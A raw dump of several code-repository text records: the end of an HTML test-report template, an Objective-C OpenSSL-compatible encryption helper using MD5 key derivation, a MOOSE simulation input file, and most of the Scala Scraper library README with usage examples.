class=\"list-body\">\n\t\t\t\t\t\t\t<a href=\"#\" class=\"item-title _500\">${category.name}</a>\n\t\t\t\t\t\t\t<div class=\"item-except text-sm text-muted h-1x\">\n\t\t\t\t\t\t\t\t${category.size()} tests\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<div class=\"tc d-none\">\n\t\t\t\t\t\t\t\t<h5>${category.name}</h5>\n\t\t\t\t\t\t\t\t<div class=\"mb-4\">\n\t\t\t\t\t\t\t\t\t<span class=\"badge pass text-pass\">${category.passed} passed</span>\n\t\t\t\t\t\t\t\t\t<span class=\"badge pass text-fail\">${category.failed} failed</span>\n\t\t\t\t\t\t\t\t\t<span class=\"badge pass text-skip\">${category.skipped} skipped</span>\n\t\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t\t<table class=\"table\">\n\t\t\t\t\t\t\t\t\t<thead><tr>\n\t\t\t\t\t\t\t\t\t\t<th id=\"status-col\"></th>\n\t\t\t\t\t\t\t\t\t\t<th>Test</th>\n\t\t\t\t\t\t\t\t\t\t<th>Duration</th>\n\t\t\t\t\t\t\t\t\t\t<th>Attributes</th>\n\t\t\t\t\t\t\t\t\t\t<th>Media</th>\n\t\t\t\t\t\t\t\t\t\t<th>Source</th>\n\t\t\t\t\t\t\t\t\t</tr></thead>\n\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t<#list category.tests as test>\n\t\t\t\t\t\t\t\t\t\t<@row test=test level=test.level />\n\t\t\t\t\t\t\t\t\t\t</#list>\n\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div>\n\t\t\t\t\t\t\t<span class=\"item-meta text-xs lt\">\n\t\t\t\t\t\t\t<span class=\"badge pass text-pass\">${category.passed}</span> <span class=\"badge fail text-fail\">${category.failed}</span> <span class=\"badge skip text-skip\">${category.skipped}</span>\n\t\t\t\t\t\t\t</span>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</#list>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</div>"} {"text": "////\n//// RNOpenSSLCryptor\n////\n//// Copyright (c) 2012 Rob Napier\n////\n//// This code is licensed under the MIT License:\n////\n//// Permission is hereby granted, free of charge, to any person obtaining a\n//// copy of this software and associated documentation files (the \"Software\"),\n//// to deal in the Software without restriction, including without limitation\n//// the rights to use, copy, modify, merge, publish, distribute, sublicense,\n//// and/or sell copies of the Software, and to permit persons to whom the\n//// Software is furnished to do so, subject to the following conditions:\n////\n//// The above copyright notice and this permission notice shall be included in\n//// all copies or substantial portions of the Software.\n////\n//// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n//// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n//// FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE\n//// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n//// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n//// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n//// DEALINGS IN THE SOFTWARE.\n////\n\n\n// For aes-128:\n//\n// key = MD5(password + salt)\n// IV = MD5(Key + password + salt)\n\n//\n// For aes-256:\n//\n// Hash0 = ''\n// Hash1 = MD5(Hash0 + Password + Salt)\n// Hash2 = MD5(Hash1 + Password + Salt)\n// Hash3 = MD5(Hash2 + Password + Salt)\n// Hash4 = MD5(Hash3 + Password + Salt)\n//\n// Key = Hash1 + Hash2\n// IV = Hash3 + Hash4\n//\n\n// File Format:\n//\n// |Salted___|<salt>|<ciphertext>|\n//\n\n#import \"RNOpenSSLCryptor.h\"\n\nNSString *const kRNCryptorOpenSSLSaltedString = @\"Salted__\";\n\nstatic NSData *GetHashForHash(NSData *hash, NSData *passwordSalt) {\n unsigned char md[CC_MD5_DIGEST_LENGTH];\n\n NSMutableData *hashMaterial = [NSMutableData dataWithData:hash];\n [hashMaterial appendData:passwordSalt];\n CC_MD5([hashMaterial bytes], (CC_LONG)[hashMaterial length], md);\n\n return [NSData dataWithBytes:md length:sizeof(md)];\n}\n\n\nNSData *RNOpenSSLCryptorGetKey(NSString *password, NSData *salt, RNCryptorKeyDerivationSettings keySettings) {\n // FIXME: This is all very inefficient; we repeat ourselves in IVForKey:...\n\n NSMutableData *key;\n NSMutableData *passwordSalt = [[password dataUsingEncoding:NSUTF8StringEncoding] mutableCopy];\n [passwordSalt appendData:salt];\n\n if (keySettings.keySize != kCCKeySizeAES256) {\n // For aes-128:\n //\n // key = MD5(password + salt)\n // IV = MD5(Key + password + salt)\n unsigned char md[CC_MD5_DIGEST_LENGTH];\n CC_MD5([passwordSalt bytes], (CC_LONG)[passwordSalt length], md);\n key = [NSData dataWithBytes:md length:sizeof(md)];\n\n } else {\n // Hash0 = ''\n // Hash1 = MD5(Hash0 + Password + Salt)\n // Hash2 = MD5(Hash1 + Password + Salt)\n // Hash3 = MD5(Hash2 + Password + Salt)\n // Hash4 = MD5(Hash3 + Password + Salt)\n //\n // Key = Hash1 + Hash2\n // IV = Hash3 + Hash4\n\n NSData *hash1 = GetHashForHash(nil, passwordSalt);\n NSData *hash2 = GetHashForHash(hash1, passwordSalt);\n\n key = [hash1 mutableCopy];\n [key appendData:hash2];\n }\n return key;\n}\n\nNSData *RNOpenSSLCryptorGetIV(NSData *key, NSString *password, NSData *salt, RNCryptorKeyDerivationSettings keySettings) {\n\n NSMutableData *IV;\n NSMutableData *passwordSalt = [[password dataUsingEncoding:NSUTF8StringEncoding] mutableCopy];\n [passwordSalt appendData:salt];\n\n if (keySettings.keySize != kCCKeySizeAES256) {\n // For aes-128:\n //\n // key = MD5(password + salt)\n // IV = MD5(Key + password + salt)\n IV = [GetHashForHash(key, passwordSalt) mutableCopy];\n\n } else {\n\n //\n // For aes-256:\n //\n // Hash0 = ''\n // Hash1 = MD5(Hash0 + Password + Salt)\n // Hash2 = MD5(Hash1 + Password + Salt)\n // Hash3 = MD5(Hash2 + Password + Salt)\n // Hash4 = MD5(Hash3 + Password + Salt)\n //\n // Key = Hash1 + Hash2\n // IV = Hash3 + Hash4\n NSData *hash1 = GetHashForHash(nil, passwordSalt);\n NSData *hash2 = GetHashForHash(hash1, passwordSalt);\n NSData *hash3 = GetHashForHash(hash2, passwordSalt);\n NSData *hash4 = GetHashForHash(hash3, passwordSalt);\n\n IV = [hash3 mutableCopy];\n [IV appendData:hash4];\n }\n return IV;\n}\n\n\n\n//\n//const NSUInteger kSaltSize = 8;\n//NSString *const kSaltedString = @\"Salted__\";\n//\n//@interface NSInputStream (RNCryptor)\n//- (BOOL)_RNGetData:(NSData **)data maxLength:(NSUInteger)maxLength error:(NSError **)error;\n//@end\n//\n//@implementation NSInputStream (RNCryptor)\n//- (BOOL)_RNGetData:(NSData **)data maxLength:(NSUInteger)maxLength error:(NSError **)error\n//{\n// NSMutableData *buffer = [NSMutableData dataWithLength:maxLength];\n// if ([self read:buffer.mutableBytes maxLength:maxLength] < 0) {\n// if (error) {\n// *error = [self streamError];\n// return NO;\n// }\n// }\n//\n// *data = buffer;\n// return YES;\n//}\n//@end\n//\n//@interface NSOutputStream (RNCryptor)\n//- (BOOL)_RNWriteData:(NSData *)data error:(NSError **)error;\n//@end\n//\n//@implementation NSOutputStream (RNCryptor)\n//- (BOOL)_RNWriteData:(NSData *)data error:(NSError **)error\n//{\n// // Writing 0 bytes will close the output stream.\n// // This is an undocumented side-effect. radar://9930518\n// if (data.length > 0) {\n// NSInteger bytesWritten = [self write:data.bytes\n// maxLength:data.length];\n// if (bytesWritten != data.length) {\n// if (error) {\n// *error = [self streamError];\n// }\n// return NO;\n// }\n// }\n// return YES;\n//}\n//@end\n//\n//@interface RNOpenSSLCryptor ()\n//@end\n//\n//@implementation RNOpenSSLCryptor\n//+ (RNOpenSSLCryptor *)openSSLCryptor\n//{\n// static dispatch_once_t once;\n// static id openSSLCryptor = nil;\n//\n// dispatch_once(&once, ^{openSSLCryptor = [[self alloc] init];});\n// return openSSLCryptor;\n//}\n//\n//- (NSData *)hashForHash:(NSData *)hash passwordSalt:(NSData *)passwordSalt\n//{\n// unsigned char md[CC_MD5_DIGEST_LENGTH];\n//\n// NSMutableData *hashMaterial = [NSMutableData dataWithData:hash];\n// [hashMaterial appendData:passwordSalt];\n// CC_MD5([hashMaterial bytes], [hashMaterial length], md);\n//\n// return [NSData dataWithBytes:md length:sizeof(md)];\n//}\n//\n//- (NSData *)keyForPassword:(NSString *)password salt:(NSData *)salt\n//{\n// // FIXME: This is all very inefficient; we repeat ourselves in IVForKey:...\n//\n// // Hash0 = ''\n// // Hash1 = MD5(Hash0 + Password + Salt)\n// // Hash2 = MD5(Hash1 + Password + Salt)\n// // Hash3 = MD5(Hash2 + Password + Salt)\n// // Hash4 = MD5(Hash3 + Password + Salt)\n// //\n// // Key = Hash1 + Hash2\n// // IV = Hash3 + Hash4\n//\n// NSMutableData *passwordSalt = [[password dataUsingEncoding:NSUTF8StringEncoding] mutableCopy];\n// [passwordSalt appendData:salt];\n//\n// NSData *hash1 = [self hashForHash:nil passwordSalt:passwordSalt];\n// NSData *hash2 = [self hashForHash:hash1 passwordSalt:passwordSalt];\n//\n// NSMutableData *key = [hash1 mutableCopy];\n// [key appendData:hash2];\n//\n// return key;\n//\n//// // key = MD5(password + salt)\n//// unsigned char md[CC_MD5_DIGEST_LENGTH];\n//// NSMutableData *keyMaterial = [NSMutableData dataWithData:[password dataUsingEncoding:NSUTF8StringEncoding]];\n//// [keyMaterial appendData:salt];\n//// CC_MD5([keyMaterial bytes], [keyMaterial length], md);\n//// NSData *key = [NSData dataWithBytes:md length:sizeof(md)];\n//// return key;\n//}\n//\n//- (NSData *)IVForKey:(NSData *)key password:(NSString *)password salt:(NSData *)salt\n//{\n// NSMutableData *passwordSalt = [[password dataUsingEncoding:NSUTF8StringEncoding] mutableCopy];\n// [passwordSalt appendData:salt];\n//\n// NSData *hash1 = [self hashForHash:nil passwordSalt:passwordSalt];\n// NSData *hash2 = [self hashForHash:hash1 passwordSalt:passwordSalt];\n// NSData *hash3 = [self hashForHash:hash2 passwordSalt:passwordSalt];\n// NSData *hash4 = [self hashForHash:hash3 passwordSalt:passwordSalt];\n//\n// NSMutableData *IV = [hash3 mutableCopy];\n// [IV appendData:hash4];\n//\n// return IV;\n//\n//\n//// // IV = MD5(Key + password + salt)\n//// unsigned char md[CC_MD5_DIGEST_LENGTH];\n//// NSMutableData *IVMaterial = [NSMutableData dataWithData:key];\n//// [IVMaterial appendData:[password dataUsingEncoding:NSUTF8StringEncoding]];\n//// [IVMaterial appendData:salt];\n//// CC_MD5([IVMaterial bytes], [IVMaterial length], md);\n//// NSData *IV = [NSData dataWithBytes:md length:sizeof(md)];\n//// return IV;\n//}\n//\n//- (BOOL)decryptFromStream:(NSInputStream *)fromStream toStream:(NSOutputStream *)toStream password:(NSString *)password error:(NSError **)error\n//{\n// NSData *salted;\n// NSData *encryptionKeySalt;\n//\n// [fromStream open];\n//\n// if (![fromStream _RNGetData:&salted maxLength:[kSaltedString length] error:error] ||\n// ![fromStream _RNGetData:&encryptionKeySalt maxLength:kSaltSize error:error]) {\n// return NO;\n// }\n//\n// if (![[[NSString alloc] initWithData:salted encoding:NSUTF8StringEncoding] isEqualToString:kSaltedString]) {\n// if (error) {\n// *error = [NSError errorWithDomain:kRNCryptorErrorDomain code:kRNCryptorUnknownHeader\n// userInfo:[NSDictionary dictionaryWithObject:NSLocalizedString(@\"Could not find salt\", @\"Could not find salt\") forKey:NSLocalizedDescriptionKey]];\n// }\n// return NO;\n// }\n//\n// NSData *encryptionKey = [self keyForPassword:password salt:encryptionKeySalt];\n// NSData *IV = [self IVForKey:encryptionKey password:password salt:encryptionKeySalt];\n//\n// RNCryptor *cryptor = [[RNCryptor alloc] initWithSettings:kRNCryptorOpenSSLSettings];\n//\n// return [cryptor performOperation:kCCDecrypt fromStream:fromStream readCallback:nil toStream:toStream writeCallback:nil encryptionKey:encryptionKey IV:IV footerSize:0 footer:nil error:error];\n//}\n//\n//\n//- (BOOL)encryptFromStream:(NSInputStream *)fromStream toStream:(NSOutputStream *)toStream password:(NSString *)password error:(NSError **)error\n//{\n// NSData *encryptionKeySalt = [RNCryptor randomDataOfLength:kSaltSize];\n// NSData *encryptionKey = [self keyForPassword:password salt:encryptionKeySalt];\n// NSData *IV = [self IVForKey:encryptionKey password:password salt:encryptionKeySalt];\n//\n// [toStream open];\n// NSData *headerData = [kSaltedString dataUsingEncoding:NSUTF8StringEncoding];\n// if (![toStream _RNWriteData:headerData error:error] ||\n// ![toStream _RNWriteData:encryptionKeySalt error:error]\n// ) {\n// return NO;\n// }\n//\n// RNCryptor *cryptor = [[RNCryptor alloc] initWithSettings:kRNCryptorOpenSSLSettings];\n// return [cryptor performOperation:kCCEncrypt fromStream:fromStream readCallback:nil toStream:toStream writeCallback:nil encryptionKey:encryptionKey IV:IV footerSize:0 footer:nil error:error];\n//}\n//@end\n"} {"text": "[Mesh]\n type = GeneratedMesh\n dim = 2\n nx = 10\n ny = 10\n[]\n\n[Variables]\n [./u]\n [../]\n[]\n\n[Kernels]\n [./diff]\n type = Diffusion\n variable = u\n [../]\n[]\n\n[BCs]\n [./left]\n type = DirichletBC\n variable = u\n boundary = left\n value = 0\n [../]\n [./right]\n type = DirichletBC\n variable = u\n boundary = right\n value = 1\n [../]\n[]\n\n[Executioner]\n type = Transient\n num_steps = 1\n dt = 1\n\n solve_type = 'PJFNK'\n\n petsc_options_iname = '-pc_type -pc_hypre_type'\n petsc_options_value = 'hypre boomeramg'\n[]\n\n[Outputs]\n exodus = true\n output_if_base_contains = 'sub1_sub1 sub0_sub1'\n[]\n"} {"text": "# Scala Scraper [![Build Status](https://travis-ci.org/ruippeixotog/scala-scraper.svg?branch=master)](https://travis-ci.org/ruippeixotog/scala-scraper) [![Coverage Status](https://coveralls.io/repos/github/ruippeixotog/scala-scraper/badge.svg?branch=master)](https://coveralls.io/github/ruippeixotog/scala-scraper?branch=master) [![Maven Central](https://img.shields.io/maven-central/v/net.ruippeixotog/scala-scraper_2.12.svg)](https://maven-badges.herokuapp.com/maven-central/net.ruippeixotog/scala-scraper_2.12) [![Join the chat at https://gitter.im/ruippeixotog/scala-scraper](https://badges.gitter.im/ruippeixotog/scala-scraper.svg)](https://gitter.im/ruippeixotog/scala-scraper)\n\nA library providing a DSL for loading and extracting content from HTML pages.\n\nTake a look at [Examples.scala](core/src/test/scala/net/ruippeixotog/scalascraper/Examples.scala) and at the [unit specs](core/src/test/scala/net/ruippeixotog/scalascraper) for usage examples or keep reading for more thorough documentation. Feel free to use [GitHub Issues](https://github.com/ruippeixotog/scala-scraper/issues) for submitting any bug or feature request and [Gitter](https://gitter.im/ruippeixotog/scala-scraper) to ask questions.\n\nThis README contains the following sections:\n\n- [Quick Start](#quick-start)\n- [Core Model](#core-model)\n- [Browsers](#browsers)\n- [Content Extraction](#content-extraction)\n- [Content Validation](#content-validation)\n- [Other DSL Features](#other-dsl-features)\n- [Using Browser-Specific Features](#using-browser-specific-features)\n- [Working Behind an HTTP/HTTPS Proxy](#working-behind-an-httphttps-proxy)\n- [Integration with Typesafe Config](#integration-with-typesafe-config)\n- [New Features and Migration Guide](#new-features-and-migration-guide)\n- [Copyright](#copyright)\n\n## Quick Start\n\nTo use Scala Scraper in an existing SBT project with Scala 2.11 or newer, add the following dependency to your `build.sbt`:\n\n```scala\nlibraryDependencies += \"net.ruippeixotog\" %% \"scala-scraper\" % \"2.2.0\"\n```\n\nIf you are using an older version of this library, see this document for the version you're using: [1.x](https://github.com/ruippeixotog/scala-scraper/blob/v1.2.1/README.md), [0.1.2](https://github.com/ruippeixotog/scala-scraper/blob/v0.1.2/README.md), [0.1.1](https://github.com/ruippeixotog/scala-scraper/blob/v0.1.1/README.md), [0.1](https://github.com/ruippeixotog/scala-scraper/blob/v0.1/README.md).\n\nAn implementation of the `Browser` trait, such as `JsoupBrowser`, can be used to fetch HTML from the web or to parse a local HTML file or string:\n\n```scala\nimport net.ruippeixotog.scalascraper.browser.JsoupBrowser\n\nval browser = JsoupBrowser()\nval doc = browser.parseFile(\"src/test/resources/example.html\")\nval doc2 = browser.get(\"http://example.com\")\n```\n\nThe returned object is a `Document`, which already provides several methods for manipulating and querying HTML elements. For simple use cases, it can be enough. For others, this library improves the content extracting process by providing a powerful DSL.\n\nYou can open the [example.html](core/src/test/resources/example.html) file loaded above to follow the examples throughout the README.\n\nFirst of all, the DSL methods and conversions must be imported:\n\n```scala\nimport net.ruippeixotog.scalascraper.dsl.DSL._\nimport net.ruippeixotog.scalascraper.dsl.DSL.Extract._\nimport net.ruippeixotog.scalascraper.dsl.DSL.Parse._\n```\n\nContent can then be extracted using the `>>` extraction operator and CSS queries:\n\n```scala\nimport net.ruippeixotog.scalascraper.model._\n// import net.ruippeixotog.scalascraper.model._\n\n// Extract the text inside the element with id \"header\"\ndoc >> text(\"#header\")\n// res1: String = Test page h1\n\n// Extract the <span> elements inside #menu\nval items = doc >> elementList(\"#menu span\")\n// items: List[net.ruippeixotog.scalascraper.model.Element] = List(JsoupElement(<span><a href=\"#home\">Home</a></span>), JsoupElement(<span><a href=\"#section1\">Section 1</a></span>), JsoupElement(<span class=\"active\">Section 2</span>), JsoupElement(<span><a href=\"#section3\">Section 3</a></span>))\n\n// From each item, extract all the text inside their <a> elements\nitems.map(_ >> allText(\"a\"))\n// res4: List[String] = List(Home, Section 1, \"\", Section 3)\n\n// From the meta element with \"viewport\" as its attribute name, extract the\n// text in the content attribute\ndoc >> attr(\"content\")(\"meta[name=viewport]\")\n// res7: String = width=device-width, initial-scale=1\n```\n\nIf the element may or may not be in the page, the `>?>` tries to extract the content and returns it wrapped in an `Option`:\n\n```scala\n// Extract the element with id \"footer\" if it exists, return `None` if it\n// doesn't:\ndoc >?> element(\"#footer\")\n// res10: Option[net.ruippeixotog.scalascraper.model.Element] =\n// Some(JsoupElement(<div id=\"footer\"> <span>No copyright 2014</span>\n// </div>))\n```\n\nWith only these two operators, some useful things can already be achieved:\n\n```scala\n// Go to a news website and extract the hyperlink inside the h1 element if it\n// exists. Follow that link and print both the article title and its short\n// description (inside \".lead\")\nfor {\n headline <- browser.get(\"http://observador.pt\") >?> element(\"h1 a\")\n headlineDesc = browser.get(headline.attr(\"href\")) >> text(\".lead\")\n} println(\"== \" + headline.text + \" ==\\n\" + headlineDesc)\n```\n\nIn the next two sections the core classes used by this library are presented. They are followed by a description of the full capabilities of the DSL, including the ability to parse content after extracting, validating the contents of a page and defining custom extractors or validators.\n\n## Core Model\n\nThe library represents HTML documents and their elements by [Document](core/src/main/scala/net/ruippeixotog/scalascraper/model/Document.scala) and [Element](core/src/main/scala/net/ruippeixotog/scalascraper/model/Element.scala) objects, simple interfaces containing methods for retrieving information and navigating through the DOM.\n\n[Browser](core/src/main/scala/net/ruippeixotog/scalascraper/browser/Browser.scala) implementations are the entrypoints for obtaining `Document` instances. Most notably, they implement `get`, `post`, `parseFile` and `parseString` methods for retrieving documents from different sources. Depending on the browser used, `Document` and `Element` instances may have different semantics, mainly on their immutability guarantees.\n\n## Browsers\n\nThe library currently provides two built-in implementations of `Browser`:\n\n* [JsoupBrowser](core/src/main/scala/net/ruippeixotog/scalascraper/browser/JsoupBrowser.scala) is backed by [jsoup](http://jsoup.org/), a Java HTML parser library. `JsoupBrowser` provides powerful and efficient document querying, but it doesn't run JavaScript in the pages. As such, it is limited to working strictly with the HTML sent in the page source;\n* [HtmlUnitBrowser](core/src/main/scala/net/ruippeixotog/scalascraper/browser/HtmlUnitBrowser.scala) is based on [HtmlUnit](http://htmlunit.sourceforge.net), a GUI-less browser for Java programs. `HtmlUnitBrowser` simulates thoroughly a web browser, executing JavaScript code in the pages in addition to parsing HTML. It supports several compatibility modes, allowing it to emulate browsers such as Internet Explorer.\n\nDue to its speed and maturity, `JsoupBrowser` is the recommended browser to use when JavaScript execution is not needed. More information about each browser and its semantics can be obtained in the Scaladoc of each implementation.\n\n## Content Extraction\n\nThe `>>` and `>?>` operators shown above accept an `HtmlExtractor` as their right argument, a trait with a very simple interface:\n\n```scala\ntrait HtmlExtractor[-E <: Element, +A] {\n def extract(doc: ElementQuery[E]): A\n}\n```\n\nOne can always create a custom extractor by implementing `HtmlExtractor`. However, the DSL provides several ways to create `HtmlExtractor` instances, which should be enough in most situations. In general, you can use the `extractor` factory method:\n\n```\ndoc >> extractor(<cssQuery>, <contentExtractor>, <contentParser>)\n```\n\nWhere the arguments are:\n\n* **cssQuery**: the CSS query used to select the elements to be processed;\n* **contentExtractor**: the content to be extracted from the selected elements, e.g. the element objects themselves, their text, a specific attribute, form data;\n* **contentParser**: an optional parser for the data extracted in the step above, such as parsing numbers and dates or using regexes.\n\nThe DSL provides several `contentExtractor` and `contentParser` instances, which were imported before with `DSL.Extract._` and `DSL.Parse._`. The full list can be seen in [ContentExtractors.scala](core/src/main/scala/net/ruippeixotog/scalascraper/scraper/ContentExtractors.scala) and [ContentParsers.scala](core/src/main/scala/net/ruippeixotog/scalascraper/scraper/ContentParsers.scala).\n\nSome usage examples:\n\n```scala\n// Extract the date from the \"#date\" element\ndoc >> extractor(\"#date\", text, asLocalDate(\"yyyy-MM-dd\"))\n// res16: org.joda.time.LocalDate = 2014-10-26\n\n// Extract the text of all \"#mytable td\" elements and parse each of them as a number\ndoc >> extractor(\"#mytable td\", texts, seq(asDouble))\n// res18: TraversableOnce[Double] = <iterator>\n\n// Extract an element \"h1\" and do no parsing (the default parsing behavior)\ndoc >> extractor(\"h1\", element, asIs[Element])\n// res20: net.ruippeixotog.scalascraper.model.Element = JsoupElement(<h1>Test page h1</h1>)\n```\n\nWith the help of the implicit conversions provided by the DSL, we can write more succinctly the most common extraction cases:\n\n* `<cssQuery>` is taken as `extractor(<cssQuery>, elements, asIs)` (by an implicit conversion);\n* `<contentExtractor>` is taken as `extractor(\":root\", <contentExtractor>, asIs)` (content extractors are also `HtmlExtractor` instances by themselves);\n* `<contentExtractor>(<cssQuery>)` is taken as `extractor(<cssQuery>, <contentExtractor>, asIs)` (by an implicit conversion).\n\nBecause of that, one can write the expressions in the Quick Start section, as well as:\n\n```scala\n// Extract all the \"h3\" elements (as a lazy iterable)\ndoc >> \"h3\"\n// res22: net.ruippeixotog.scalascraper.model.ElementQuery[net.ruippeixotog.scalascraper.model.Element] =\n// LazyElementQuery(WrappedArray(h3), JsoupElement(<html lang=\"en\">\n// <head>\n// <meta charset=\"utf-8\">\n// <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n// <title>Test page</title>\n// </head>\n// <body>\n// <div id=\"wrapper\">\n// <div id=\"header\">\n// <h1>Test page h1</h1>\n// </div>\n// <div id=\"menu\"> <span><a href=\"#home\">Home</a></span> <span><a href=\"#section1\">Section 1</a></span> <span class=\"active\">Section 2</span> <span><a href=\"#section3\">Section 3</a></span>\n// </div>\n// <div id=\"content\">\n// <h2>Test page h2</h2> <span id=\"date\">2014-10-26</span> <span id=\"datefull\">2014-10-26T12:30:05Z</span> <span id=\"rating\">4.5</span> <span id=\"pages\">2</span>\n// <section>\n// ...\n\n// Extract all text inside this document\ndoc >> allText\n// res24: String = Test page Test page h1 Home Section 1 Section 2 Section 3 Test page h2 2014-10-26 2014-10-26T12:30:05Z 4.5 2 Section 1 h3 Some text for testing More text for testing Section 2 h3 My Form Add field Section 3 h3 3 15 15 1 No copyright 2014\n\n// Extract the elements with class \".active\"\ndoc >> elementList(\".active\")\n// res26: List[net.ruippeixotog.scalascraper.model.Element] = List(JsoupElement(<span class=\"active\">Section 2</span>))\n\n// Extract the text inside each \"p\" element\ndoc >> texts(\"p\")\n// res28: Iterable[String] = List(Some text for testing, More text for testing)\n```\n\n## Content Validation\n\nWhile scraping web pages, it is a common use case to validate if a page effectively has the expected structure. This library provides special support for creating and applying validations.\n\nA `HtmlValidator` has the following signature:\n\n```scala\ntrait HtmlValidator[-E <: Element, +R] {\n def matches(doc: ElementQuery[E]): Boolean\n def result: Option[R]\n}\n```\n\nAs with extractors, the DSL provides the `validator` constructor and the `>/~` operator for applying a validation to a document:\n\n```\ndoc >/~ validator(<extractor>)(<matcher>)\n```\n\nWhere the arguments are:\n\n* **extractor**: an extractor as defined in the previous section;\n* **matcher**: a function mapping the extracted content to a boolean indicating if the document is valid.\n\nThe result of a validation is an `Either[R, A]` instance, where `A` is the type of the document and `R` is the result type of the validation (which will be explained later).\n\nSome validation examples:\n\n```scala\n// Check if the title of the page is \"Test page\"\ndoc >/~ validator(text(\"title\"))(_ == \"Test page\")\n// res30: Either[Unit,browser.DocumentType] =\n// Right(JsoupDocument(<!doctype html>\n// <html lang=\"en\">\n// <head>\n// <meta charset=\"utf-8\">\n// <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n// <title>Test page</title>\n// </head>\n// <body>\n// <div id=\"wrapper\">\n// <div id=\"header\">\n// <h1>Test page h1</h1>\n// </div>\n// <div id=\"menu\"> <span><a href=\"#home\">Home</a></span> <span><a href=\"#section1\">Section 1</a></span> <span class=\"active\">Section 2</span> <span><a href=\"#section3\">Section 3</a></span>\n// </div>\n// <div id=\"content\">\n// <h2>Test page h2</h2> <span id=\"date\">2014-10-26</span> <span id=\"datefull\">2014-10-26T12:30:05Z</span> <span id=\"rating\">4.5</span> <span id=\"pages\">2</span>\n// <section>\n// <h3>Section 1 h3</h3>\n// <p>Some text for testing</p>\n// <p>More tex...\n\n// Check if there are at least 3 \".active\" elements\ndoc >/~ validator(\".active\")(_.size >= 3)\n// res32: Either[Unit,browser.DocumentType] = Left(())\n\n// Check if the text in \".desc\" contains the word \"blue\"\ndoc >/~ validator(allText(\"#mytable\"))(_.contains(\"blue\"))\n// res34: Either[Unit,browser.DocumentType] = Left(())\n```\n\nWhen a document fails a validation, it may be useful to identify the problem by pattern-matching it against common scraping pitfalls, such as a login page that appears unexpectedly because of an expired cookie, dynamic content that disappeared or server-side errors. If we define validators for both the success case and error cases:\n\n```scala\nval succ = validator(text(\"title\"))(_ == \"My Page\")\n\nval errors = Seq(\n validator(allText(\".msg\"), \"Not logged in\")(_.contains(\"sign in\")),\n validator(\".item\", \"Too few items\")(_.size < 3),\n validator(text(\"h1\"), \"Internal Server Error\")(_.contains(\"500\")))\n```\n\nThey can be used in combination to create more informative validations:\n\n```scala\ndoc >/~ (succ, errors)\n// res35: Either[String,browser.DocumentType] = Left(Too few items)\n```\n\nValidators matching errors were constructed above using an additional `result` parameter after the extractor. That value is returned wrapped in a `Left` if that particular error occurs during a validation.\n\n## Other DSL Features\n\nAs shown before in the Quick Start section, one can try if an extractor works in a page and obtain the extracted content wrapped in an `Option`:\n\n```scala\n// Try to extract an element with id \"optional\", return `None` if none exist\ndoc >?> element(\"#optional\")\n// res37: Option[net.ruippeixotog.scalascraper.model.Element] = None\n```\n\nNote that when using `>?>` with content extractors that return sequences, such as `texts` and `elements`, `None` will never be returned (`Some(Seq())` will be returned instead).\n\nIf you want to use multiple extractors in a single document or element, you can pass tuples or triples to `>>`:\n\n```scala\n// Extract the text of the title element and all inputs of #myform\ndoc >> (text(\"title\"), elementList(\"#myform input\"))\n// res39: (String, List[net.ruippeixotog.scalascraper.model.Element]) = (Test page,List(JsoupElement(<input type=\"text\" name=\"name\" value=\"John\">), JsoupElement(<input type=\"text\" name=\"address\">), JsoupElement(<input type=\"submit\" value=\"Submit\">)))\n```\n\nThe extraction operators work on `List`, `Option`, `Either` and other instances for which a [Scalaz](https://github.com/scalaz/scalaz) `Functor` instance exists. The extraction occurs by mapping over the functors:\n\n```scala\n// Extract the titles of all documents in the list\nList(doc, doc) >> text(\"title\")\n// res41: List[String] = List(Test page, Test page)\n\n// Extract the title if the document is a `Some`\nOption(doc) >> text(\"title\")\n// res43: Option[String] = Some(Test page)\n```\n\nYou can apply other extractors and validators to the result of an extraction, which is particularly powerful combined with the feature shown above:\n\n```scala\n// From the \"#menu\" element, extract the text in the \".active\" element inside\ndoc >> element(\"#menu\") >> text(\".active\")\n// res45: String = Section 2\n\n// Same as above, but in a scenario where \"#menu\" can be absent\ndoc >?> element(\"#menu\") >> text(\".active\")\n// res47: Option[String] = Some(Section 2)\n\n// Same as above, but check if the \"#menu\" has any \"span\" element before\n// extracting the text\ndoc >?> element(\"#menu\") >/~ validator(\"span\")(_.nonEmpty) >> text(\".active\")\n// res50: Option[scala.util.Either[Unit,String]] = Some(Right(Section 2))\n\n// Extract the links inside all the \"#menu > span\" elements\ndoc >> elementList(\"#menu > span\") >?> attr(\"href\")(\"a\")\n// res52: List[Option[String]] = List(Some(#home), Some(#section1), None, Some(#section3))\n```\n\nThis library also provides a `Functor` for `HtmlExtractor`, making it possible to map over extractors and create chained extractors that can be passed around and stored like objects. For example, new extractors can be defined like this:\n\n```scala\nimport net.ruippeixotog.scalascraper.scraper.HtmlExtractor\n\n// An extractor for a list with the first link found in each \"span\" element\nval spanLinks: HtmlExtractor[Element, List[Option[String]]] =\n elementList(\"span\") >?> attr(\"href\")(\"a\")\n\n// An extractor for the number of \"span\" elements that actually have links\nval spanLinksCount: HtmlExtractor[Element, Int] =\n spanLinks.map(_.flatten.length)\n```\n\nYou can also \"prepend\" a query to any existing extractor by using its `mapQuery` method:\n\n```scala\n// An extractor for `spanLinks` that are inside \"#menu\"\nval menuLinks: HtmlExtractor[Element, List[Option[String]]] =\n spanLinks.mapQuery(\"#menu\")\n```\n\nAnd they can be used just as extractors created using other means provided by the 